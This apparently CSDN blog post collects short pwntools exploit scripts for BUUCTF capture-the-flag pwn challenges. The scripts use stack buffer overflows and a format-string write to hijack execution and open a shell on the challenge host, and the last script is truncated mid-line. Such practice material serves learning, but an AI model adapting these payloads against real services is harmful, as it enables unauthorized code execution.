buuctf pwn 部分exp(无解析,持续更新)

本文提供了多个CTF竞赛中PWN题目的解题脚本,包括wustctf2020_getshell2、bjdctf_2020_babystack等题目。通过构造特定payload实现远程攻击获取shell,适用于学习PWN技巧。

wustctf2020_getshell2   exp

from pwn import *



p = remote("node4.buuoj.cn", 27238)
call_system=0x8048529
sh_addr=0x08048670
payload=b'a'*28+p32(0x8048529)+p32(sh_addr)
p.sendline(payload)



p.interactive()





wustctf2020_getshell  exp

from pwn import *



p = remote("node4.buuoj.cn", 27723)

payload=b'a'*28+p32(0x0804851B)
p.sendline(payload)



p.interactive()





level0 exp

from pwn import *



p = remote("node4.buuoj.cn", 28051)
payload=b'a'*128+b'b'*8+p64(0x00400596)

p.sendline(payload)

p.interactive()





[第五空间2019 决赛]PWN5

from pwn import *



p = remote("node4.buuoj.cn", 28342)
payload=fmtstr_payload(10,{0x804c044:1111})

p.sendlineafter('your name:',payload)
p.se
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值